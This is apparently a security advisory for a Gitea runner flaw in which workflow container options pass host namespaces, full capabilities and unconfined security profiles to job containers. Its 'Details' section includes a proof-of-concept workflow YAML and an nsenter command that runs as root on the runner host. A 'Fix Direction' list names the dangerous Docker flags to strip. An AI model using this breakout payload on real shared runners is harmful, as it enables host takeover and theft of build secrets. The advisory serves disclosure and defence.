---
id: CVE-2026-73802
aliases:
  - GHSA-x4q3-gcj3-m6cf
title: >-
  gitea-runner: workflow container.options passes host namespaces and capability
  flags to job container when privileged mode is disabled
summary: >-
  gitea-runner: workflow container.options passes host namespaces and capability
  flags to job container when privileged mode is disabled
severity: critical
cvss: 9.9
cwe:
  - CWE-269
vendor: gitea
product: gitea.com/gitea/runner
ecosystem: go
affected:
  - gitea.com/gitea/runner < 1.0.9-0.20260731160927-34bfa1915022
patched:
  - gitea.com/gitea/runner 1.0.9-0.20260731160927-34bfa1915022
published: '2026-10-02'
updated: '2026-10-02'
sourceUpdated: '2026-10-02T23:18:13Z'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-x4q3-gcj3-m6cf'
references:
  - url: 'https://github.com/go-gitea/gitea/security/advisories/GHSA-x4q3-gcj3-m6cf'
  - url: 'https://gitea.com/gitea/runner/pulls/1058'
  - url: 'https://gitea.com/gitea/runner/releases/tag/v3.0.0'
  - url: 'https://github.com/advisories/GHSA-x4q3-gcj3-m6cf'
tags:
  - ghsa
  - go
ingestedAt: '2026-10-02T23:34:57.388Z'
---

## Overview

### Summary
act_runner appends workflow-controlled `jobs.<job>.container.options` directly 
to the Docker HostConfig for the job container. When runner privileged mode is 
disabled, only `Privileged` is forced false. Host namespace flags, capability 
expansion, and security profile overrides from workflow YAML are preserved in 
the final HostConfig. A workflow author can enter host PID/IPC namespaces and 
execute commands on the runner host as root.

### Details
Source-to-sink path in act_runner:

- `ContainerSpec.Options` accepts workflow YAML `container.options`
- `RunContext.options()` appends workflow options to runner-level container options
- Job container is created with `Privileged: rc.Config.Privileged` but also 
  with `Options: rc.options(ctx)`
- `mergeContainerConfigs()` parses Docker CLI-style options into HostConfig
- When privileged mode is disabled, only `copts.privileged` is forced false
- `sanitizeConfig()` only filters `Binds` and `Mounts`
- Preserved dangerous HostConfig fields:

```text
Privileged=false
PidMode=host
IpcMode=host
CapAdd=["ALL"]
SecurityOpt=["seccomp=unconfined","apparmor=unconfined"]
```

Attacker workflow YAML:
```yaml
jobs:
  breakout:
    runs-on: ubuntu-latest
    container:
      image: ubuntu:22.04
      options: >-
        --pid=host --ipc=host --cap-add=ALL 
        --security-opt seccomp=unconfined 
        --security-opt apparmor=unconfined
    steps:
      - name: host namespace marker
        run: |
          nsenter -t 1 -m -u -i -n -p -- sh -c "id > /tmp/marker"
```

### Impact
An attacker who can submit a workflow to a repository using a shared 
Docker-backed act_runner can:

- Enter host PID, IPC, and mount namespaces
- Execute arbitrary commands as root on the runner host
- Access runner host secrets, deployment credentials, and environment variables
- Pivot to adjacent jobs running on the same runner
- Access internal build infrastructure reachable from the runner host

Critical severity for shared runners where untrusted users can trigger 
workflows. High severity for single-tenant runners with privileged mode 
explicitly disabled as a security control.

### Fix Direction
Treat `container.options` as untrusted input. Reject or strip when 
privileged mode is disabled:

- Host namespaces: `--pid=host`, `--ipc=host`, `--uts=host`, `--network=host`
- Capability expansion: `--cap-add ALL`, `--cap-add SYS_ADMIN`
- Security overrides: `--security-opt seccomp=unconfined`, `--security-opt apparmor=unconfined`
- Device access: `--device`, `--device-cgroup-rule`
- Volume inheritance: `--volumes-from`
- Runtime controls: `--runtime`, `--cgroup-parent`

## Affected packages

- `gitea.com/gitea/runner < 1.0.9-0.20260731160927-34bfa1915022`

## Remediation

Upgrade to a patched release:

- `gitea.com/gitea/runner 1.0.9-0.20260731160927-34bfa1915022`